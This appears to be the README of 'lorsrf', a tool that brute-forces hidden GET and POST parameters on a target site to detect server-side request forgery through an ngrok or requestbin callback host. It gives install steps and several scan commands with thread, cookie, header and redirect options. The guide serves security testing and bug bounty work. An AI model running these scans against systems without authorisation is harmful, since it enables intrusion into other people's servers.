Bruteforcing on Hidden parameters to find SSRF vulnerability using GET
and POST
Methods
install
- download it
➜ git clone https://github.com/knassar702/lorsrf
➜ cd lorsrf
➜ sudo pip3 install requests flask
- install ngrok tool
Steps :
Ngrok
- run your ngrok
./ngrok http 9090
- run
server.py
script and add ngrok portpython3 server.py 9090
- run
lorsrf.py
and add ngrok host using-s
option
requestbin.com
- login to https://requestbin.com
- copy your host and add it by using
-s
option (withoutserver.py
file)
How can i use it .?
cat YOUR_LIST.txt | python3 lorsrf.py -t URL_TARGET -s YOUR_HOST -w wordlist.txt
Examples :
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io
- add threads
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io --threads=50
- add timeout
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io --timeout=4
- add cookies
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io -c 'user=5&PHPSESSION=5232'
- add headers from text file
$ cat headers.txt
Cookie: test=1
Auth: Basic TG9yU3JmCg==
$ cat parameters.txt | python3 lorsrf.py -f headers.txt -s 'http://myhost.com' -t 'http://ssrf.hack.com'
---------------------
GET /?parameter={YOUR_HOST} HTTP/1.1
Host: targer.com
Cookie: test=1
Auth: Basic TG9yU3JmCg==
- Follow redirects
$ cat paramters.txt | python3 lorsrf.py -t http://target.com -s http://53252.ngrok.io -r
Testing
python3 lorsrf.py -t 'http://testphp.vulnweb.com/showimage.php' -s 'https://YOUR_HOST.com' -w parameters.txt
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